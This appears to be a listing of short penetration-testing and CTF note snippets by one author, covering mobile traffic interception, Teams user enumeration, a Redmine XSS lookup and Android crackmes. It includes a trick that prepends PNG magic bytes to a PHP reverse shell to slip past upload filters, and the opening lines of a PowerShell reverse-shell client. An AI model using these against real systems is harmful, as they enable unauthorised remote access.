Techbrunch

Notes:

• Application does not consume system proxy configuration -> Solution: Modify /etc/hosts to redirect inbound requests (Burp)
• On Android the AOT Compilation option requires an Enterprise license or higher, is available only when the project is configured for Release mode, and it is disabled by default.(Source)

Regarding the interception of HTTP:

• https://docs.microsoft.com/en-us/xamarin/android/app-fundamentals/http-stack?tabs=macos

We did it through USB reverse tunneling and iptable rules local to the phone.

Techbrunch

# The magic bytes for PNG
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r >> reverse.php.png
cat reverse.php >> reverse.php.png

Techbrunch

Presence is part of a user's profile in Microsoft Teams (and throughout Office 365) that indicates the user's current availability and status to other users. By default, anyone in your organization using Teams can see (in nearly real time) if other users are available online.

Teams presence in Outlook is supported on the Outlook 2013 desktop app and later.

Source: https://docs.microsoft.com/en-us/microsoftteams/presence-admins

Request:

GET /api/mt/emea/beta/users/first.last@example.com/externalsearch HTTP/1.1
Host: teams.microsoft.com

Techbrunch

Source: https://github.com/OWASP/owasp-mstg/tree/master/Crackmes

Let's try running the app.

adb install UnCrackable-Level1.apk

When we open the app we directly get an error:

Techbrunch

/*
/{*}
/1.0/domains
/1.0/records
/1.0/records/3
/1.0/token
/123456/domains
/123456/domains/112233/records
/123/records/
/1/admin/msg/del

Techbrunch

# Initial code by Matt Harzewski
# https://gist.github.com/mattvh/6692349
# Read more: http://www.webmaster-source.com/2013/09/25/finding-a-websites-favicon-with-ruby/
# https://github.com/hajimes/mmh3

require "httparty"
require "nokogiri"
require "base64"
require "murmurhash3"

Techbrunch

Redmine Security

Advisories: https://www.redmine.org/projects/redmine/wiki/Security_Advisories

Let's find a POC for the following vulns:

• Persistent XSS vulnerabilities in textile inline links (#32934)
• XSS vulnerability due to missing back_url validation (#32850)

Both issues were fixed in 4.1.1 and 4.0.7.

Techbrunch

Google
Microsoft
Forcepoint
Mimecast
ZSCALER
Fortinet
Amazon
PALO ALTO
RIPE
McAfee

Techbrunch

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;

Techbrunch

Image: https://nahamsec.net/Nahamsec_CTF_Giveaway.jpg

No usefull metadata:

date:create: 2020-01-12T11:09:18+00:00
date:modify: 2020-01-07T00:53:58+00:00

Domain nahamsec.net